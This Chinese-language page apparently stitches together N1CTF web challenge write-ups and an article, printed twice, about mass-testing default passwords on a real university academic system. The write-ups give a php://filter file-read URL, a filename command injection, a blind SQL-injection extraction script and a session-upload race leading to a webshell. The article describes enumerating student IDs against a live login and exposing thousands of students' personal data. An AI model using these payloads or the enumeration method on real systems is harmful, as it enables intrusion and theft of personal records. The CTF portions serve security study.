http://47.52.152.93:20000///user.php?page=php://filter/read=convert.base64-encode/resource=ffffllllaaaaggg

这样的方式进行绕过

得到源码


<?php

if (FLAG_SIG != 1){

    die(“you can not visit it directly”);

}else {

    echo “you can find sth in m4aaannngggeee”;

}

?>

继续读

http://47.52.152.93:20000///user.php?page=php://filter/read=convert.base64-encode/resource=m4aaannngggeee

得到


<?php

if (FLAG_SIG != 1){

    die(“you can not visit it directly”);

}

include “templates/upload2323233333.html”;

?>

去访问

http://47.52.152.93:20000/templates/upload2323233333.html

看到有上传,找到上传的后端:upllloadddd.php

接着读23333333

http://47.52.152.93:20000///user.php?page=php://filter/read=convert.base64-encode/resource=upllloadddd

得到


<?php

$allowtype = array(“gif”,”png”,”jpg”);

$size = 10000000;

$path = “./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/”;

$filename = $_FILES['file']['name'];

if(is_uploaded_file($_FILES['file']['tmp_name'])){

    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){

        die(“error:can not move”);

    }

}else{

    die(“error:not an upload file!”);

}

$newfile = $path.$filename;

echo “file upload success<br />”;

echo $filename;

$picdata = system(“cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/”.$filename.” | base64 -w 0″);

echo “<img src=’data:image/png;base64,”.$picdata.”‘></img>”;

if($_FILES['file']['error']>0){

    unlink($newfile);

    die(“Upload file error: “);

}

$ext = array_pop(explode(“.”,$_FILES['file']['name']));

if(!in_array($ext,$allowtype)){

    unlink($newfile);

}

?>

可以清楚的看到:


$picdata = system(“cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/”.$filename.” | base64 -w 0″);

echo “<img src=’data:image/png;base64,”.$picdata.”‘></img>”;

这里可以命令注入,并且把内容打印出来

我们先本地测试一下

image.png

发现可以成功将ls的信息打印出来

于是构造:

jpg || ls 文件名

 image.png

image.png

image.png

image.png

image.png

最后拿到flag: N1CTF{1d0ab6949bed0ecf014b087e7282c0da}

 

easy php

拿到url: http://47.97.221.96/index.php?action=login

发现可能存在文件包含

随手尝试

image.png

发现可以读文件,于是尝试读取源码

但是各种尝试,均以失败告终

最后发现

http://47.97.221.96/index.php~

存在文件泄露


<?php

 

require_once ‘user.php’;

$C = new Customer();

if(isset($_GET['action']))

require_once ‘views/’.$_GET['action'];

else

header(‘Location: index.php?action=login’);

 

立刻去读user.php,还是用同样的方法:http://47.97.221.96/user.php~

然后去查目录views/

image.png

发现可列目录,随机拿到全部源码

注:由于源码过多,只给出部分分析源码

首先确定几个可控的值

image.png

image.png

对于password:

image.png

显然是没办法的

再去看username的过滤

image.png

基本无解,只能用数字和字母

发现调用了sql语句,可能存在注入,但是引号无法利用,但是我们可以知道再去看剩下的两个

发现过滤

image.png

再看利用点

image.png

发现调用了sql语句,可能存在注入,但是引号无法利用,但是我们可以知道

其中反引号也可以闭合单引号,所以我们可以得到payload


signature=1`,`123`),((select if((select database()) like 0×25,sleep(5),0)),(select 

2),`sky&mood=1

我们将其带入语句中


$db->insert(array(‘userid’,'username’,’ signature=1`,`123`),((select if((select database()) like 0×25,sleep(5),0)),(select 

2),`sky ‘,’1′),
    ’ctf_user_signature’,array($this->userid,$this->username,$_POST['signature'],$mood));

发现成功闭合,并且成功延时5s,随机可以写出注入脚本

import requests
import string
import urllib
url = "http://47.97.221.96:23333/index.php?action=publish"
flag = ""
true_flag = ""
cookie={
    "PHPSESSID":"hkjj65gnmdjvs1mcbct3u9nmd0"
}
for i in range(1,1000):
    print i
    payload = flag
    for j in "0123456789."+string.letters+"[email protected]#$^&*(){}=+`~_":
        data = {
            "signature":urllib.unquote("1`,`123`),((select if((select password from ctf_users limit 1)) like 0x%s25,sleep(3),0)),(select 2),`baidu"%(payload+hex(ord(j))[2:])),
            "mood":"1"
           }
        try:
            r =requests.post(url=url,data=data,cookies=cookie,timeout=2.5)
        except:
            flag += hex(ord(j))[2:]
            true_flag += j
            print true_flag
            break

可以得到管理员密码nu1ladmin

但是继续往后登录遇到瓶颈,

image.png

后来题目又陆续给出提示,随即我又注了一下admin的allow_ip,发现是127.0.0.1,猜想可能是需要ssrf以本地用户登录才可。

image.png

但是到此为止,找了整整一下午,都没发现问题点,无奈开始换思路,发现phpinfo还在,于是去看了看,没想到惊喜的发现了攻击点

image.png

可以看到upload_progress.enabled开启,并且给出了session.save_path,我们去包含一下试试

http://47.97.221.96/index.php?action=../../../../var/lib/php5/sess_bi1gotgju078l3tvdnlrpnofk2

发现成功包含

image.png

此时想到一个session_upload的解法,曾经在jarvis-oj也出现过:

http://web.jarvisoj.com:32784/有兴趣可以尝试

再给出一个关于PHP_SESSION_UPLOAD_PROGRESS的官方手册

说明:

http://php.net/manual/zh/session.upload-progress.php

我们直接用官方给出的表单加以修改就可使用

官方表单:

<form action=”upload.php” method=”POST” enctype=”multipart/form-data”>

 <input type=”hidden” name=”<?php echo ini_get(“session.upload_progress.name”); ?>” value=”123″ />

 <input type=”file” name=”file1″ />

 <input type=”file” name=”file2″ />

 <input type=”submit” />

</form>

我的表单:

<form action=”http://47.97.221.96:23333” method=”post” enctype=”multipart/form-data”>

    <input type=”hidden” name=”PHP_SESSION_UPLOAD_PROGRESS” vaule=”<?= phpinfo(); ?>” />

    <input type=”file” name=”file1″ />

    <input type=”file” name=”file2″ />

    <input type=”submit” />

</form>

但是需要注意的是,cleanup是on,所以这里我用了条件竞争,一遍疯狂发包,一遍疯狂请求

最后得到:

image.png

image.png

最后可以在/app/下找到写入的shell,随即用菜刀连接,却没有发现flag,于是想到刚开始的题目给的dockerfile


FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5

 

ADD nu1lctf.tar.gz /app/

RUN apt-get update

RUN a2enmod rewrite

COPY sql.sql /tmp/sql.sql

COPY run.sh /run.sh

RUN mkdir /home/nu1lctf

COPY clean_danger.sh /home/nu1lctf/clean_danger.sh

 

RUN chmod +x /run.sh

RUN chmod 777 /tmp/sql.sql

RUN chmod 555 /home/nu1lctf/clean_danger.sh

 

EXPOSE 80

CMD ["/run.sh"]

发现几个.sh文件,我们读取一下

clean_danger.sh
cd /app/adminpic/ rm *.jpg



run.sh
#!/bin/bash chown www-data:www-data /app -R if [ "$ALLOW_OVERRIDE" = "**False**" ]; then unset ALLOW_OVERRIDE else sed -i "s/AllowOverride None/AllowOverride All/g" /etc/apache2/apache2.conf a2enmod rewrite fi # initialize database mysqld_safe --skip-grant-tables& sleep 5 ## change root password mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('Nu1Lctf%#~:p') WHERE user='root';FLUSH PRIVILEGES;" ## restart mysql service mysql restart ## execute sql file mysql -uroot -pNu1Lctf\%\#\~\:p < /tmp/sql.sql ## crontab (while true;do rm -rf /tmp/*;sleep 2;done)& ## rm sql cd /tmp/ rm sql.sql source /etc/apache2/envvars tail -F /var/log/apache2/* & exec apache2 -D FOREGROUND

可以发现数据库root的密码:

mysql -uroot -e ”use mysql;UPDATE user SET password=PASSWORD(‘Nu1Lctf%#~:p’)

随即登录数据库,可发现flag:

N1CTF{php_unserialize_ssrf_crlf_injection_is_easy:p}

注:本文属“合天智汇”原创奖励文章,如需转载,请私信“合天智汇”公众号

本文作者:EEE

一、背景

事情是这样的,笔者是咱们合粉网络安全俱乐部一员。也是大三党一枚。

身边的很多小伙伴在开学拿到的账号密码都是默认密码,不进行修改,

而默认密码和学号是一样的,很容易被别人窃取利用。

作为正义的小伙伴当然义不容辞的提醒朋友:

“啊啊啊啊,你不能这样啊,这样的话别人就可以看见你的信息啦!!”

“嘿,你这个默认密码会被别人猜出来的!! 别人可以拿着你的信息干坏事的。”

Emmmmm

时间长了,我说的也烦了。大家安全意识仍然很薄弱,那就写个脚本跑一下看看有多少人没有更改密码呢?

二、程序

先通过手动抓包,看一看提交密码之后。 向服务器传递了什么信息

震惊,发现学校上万名同学信息遭到泄露 改稿----最终版301.png

作为爬虫肯定要有 要模拟访问登陆的头文件

image.png

根据上面的抓包,我们看见了,是post请求提交了账号和密码。

而传递的信息只有两条

一个是 zjh(账号)

另一个是 mm(密码)

思路是这样,先写个账号生成器。

将生成的账号发送到队列里面

再写一个账号校检器:

因为生成的账号,不一定是存在的,

通过反馈信息,是否为在网账号,如果是在网账号的话,来判断是否为弱口令。

(1)账号生成器部分:

教务系统是九位的学号,
前三位是年级信息,之后分别是 学院,专业,班级,最后两位才是所在班级的学号

举个例子:15 02 07 101

15为15年级

02代表经济管理学院

07代表电子商务专业

1代表电商一班

01代表学号为1

(这个需要看具体情况,前期要做好信息的收集工作,笔者采用的方法是,

问几个其他学院的同学的学号…推算得出)

命名规则基本上是这样的

这样的话 账号生成器就做好了

(2) 账号校检器:

然后通过服务器响应的信息,来判断的几种情况制作账号校检器:

登陆请求参数。

image.png

1. 账号生成器生成的账号并不是学生的学号(则提示证件号不存在)

image.png

2. 号生成器生成的账号是学生的账号

(1)是弱口令密码 (则提示账号可用)

(2)学生修改过密码 (则提示密码不正确)

image.png

开始的准备工作先做好,方便后面的统计

image.png

程序将反馈的信息 先放到res_text里面

image.png

然后根据find函数获取反馈的关键字。

image.png

如果单纯密码错误的话,我们加入到account_valid里面说明账号存在

如果不是证件号不存在的话,那就该是证件号存在了。

重复上一步加入到account_valid里面说明账号存在

并且将这个行放进account_append里面说明账号可用

image.png

最后将爬取到的账号进行分析计算

三、总结

以上都是思路部分,那么结果呢?

image.png

对没错,整个学校有一万名学生 因为自己没有更改自己的密码,从而可以导致自己的信息泄露。

其中大一新生的防范意识最差,全军覆没。

高达95%的学生没有更改自己的初始密码。

什么,你不信这些能泄露什么?

我就拿我自己的个人学籍界面 给大家看一眼。

image.png

其中包括 个人通讯地址,联系方式,高考分数,证件号码,照片等重要个人信息。

就是这样的界面,继续深入的话可以全部把设置弱口令的信息都爬下来

四、思考

本校学生有13600多人,

因意识薄弱未修改初始密码的就有10864人,

全校信息泄露平均比例:79.88%

如果黑色产业链,专门针对对于高校教务系统进行下手,

那么,全国上百万的高校学生信息,因为教务系统的弱口令而引发的信息泄露,情况危在旦夕。

五、声明

文章是为了普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征,挖掘技巧等,若读者因此做出危害网络安全的行为后果自负,与合天智汇以及原作者无关,特此声明。

本文作者:EEE

一、背景

事情是这样的,笔者是咱们合粉网络安全俱乐部一员。也是大三党一枚。

身边的很多小伙伴在开学拿到的账号密码都是默认密码,不进行修改,

而默认密码和学号是一样的,很容易被别人窃取利用。

作为正义的小伙伴当然义不容辞的提醒朋友:

“啊啊啊啊,你不能这样啊,这样的话别人就可以看见你的信息啦!!”

“嘿,你这个默认密码会被别人猜出来的!! 别人可以拿着你的信息干坏事的。”

Emmmmm

时间长了,我说的也烦了。大家安全意识仍然很薄弱,那就写个脚本跑一下看看有多少人没有更改密码呢?

二、程序

先通过手动抓包,看一看提交密码之后。 向服务器传递了什么信息

震惊,发现学校上万名同学信息遭到泄露 改稿----最终版301.png

作为爬虫肯定要有 要模拟访问登陆的头文件

image.png

根据上面的抓包,我们看见了,是post请求提交了账号和密码。

而传递的信息只有两条

一个是 zjh(账号)

另一个是 mm(密码)

思路是这样,先写个账号生成器。

将生成的账号发送到队列里面

再写一个账号校检器:

因为生成的账号,不一定是存在的,

通过反馈信息,是否为在网账号,如果是在网账号的话,来判断是否为弱口令。

(1)账号生成器部分:

教务系统是九位的学号,
前三位是年级信息,之后分别是 学院,专业,班级,最后两位才是所在班级的学号

举个例子:15 02 07 101

15为15年级

02代表经济管理学院

07代表电子商务专业

1代表电商一班

01代表学号为1

(这个需要看具体情况,前期要做好信息的收集工作,笔者采用的方法是,

问几个其他学院的同学的学号…推算得出)

命名规则基本上是这样的

这样的话 账号生成器就做好了

(2) 账号校检器:

然后通过服务器响应的信息,来判断的几种情况制作账号校检器:

登陆请求参数。

image.png

1. 账号生成器生成的账号并不是学生的学号(则提示证件号不存在)

image.png

2. 号生成器生成的账号是学生的账号

(1)是弱口令密码 (则提示账号可用)

(2)学生修改过密码 (则提示密码不正确)

image.png

开始的准备工作先做好,方便后面的统计

image.png

程序将反馈的信息 先放到res_text里面

image.png

然后根据find函数获取反馈的关键字。

image.png

如果单纯密码错误的话,我们加入到account_valid里面说明账号存在

如果不是证件号不存在的话,那就该是证件号存在了。

重复上一步加入到account_valid里面说明账号存在

并且将这个行放进account_append里面说明账号可用

image.png

最后将爬取到的账号进行分析计算

三、总结

以上都是思路部分,那么结果呢?

image.png

对没错,整个学校有一万名学生 因为自己没有更改自己的密码,从而可以导致自己的信息泄露。

其中大一新生的防范意识最差,全军覆没。

高达95%的学生没有更改自己的初始密码。

什么,你不信这些能泄露什么?

我就拿我自己的个人学籍界面 给大家看一眼。

image.png

其中包括 个人通讯地址,联系方式,高考分数,证件号码,照片等重要个人信息。

就是这样的界面,继续深入的话可以全部把设置弱口令的信息都爬下来

四、思考

本校学生有13600多人,

因意识薄弱未修改初始密码的就有10864人,

全校信息泄露平均比例:79.88%

如果黑色产业链,专门针对对于高校教务系统进行下手,

那么,全国上百万的高校学生信息,因为教务系统的弱口令而引发的信息泄露,情况危在旦夕。

五、声明

文章是为了普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征,挖掘技巧等,若读者因此做出危害网络安全的行为后果自负,与合天智汇以及原作者无关,特此声明。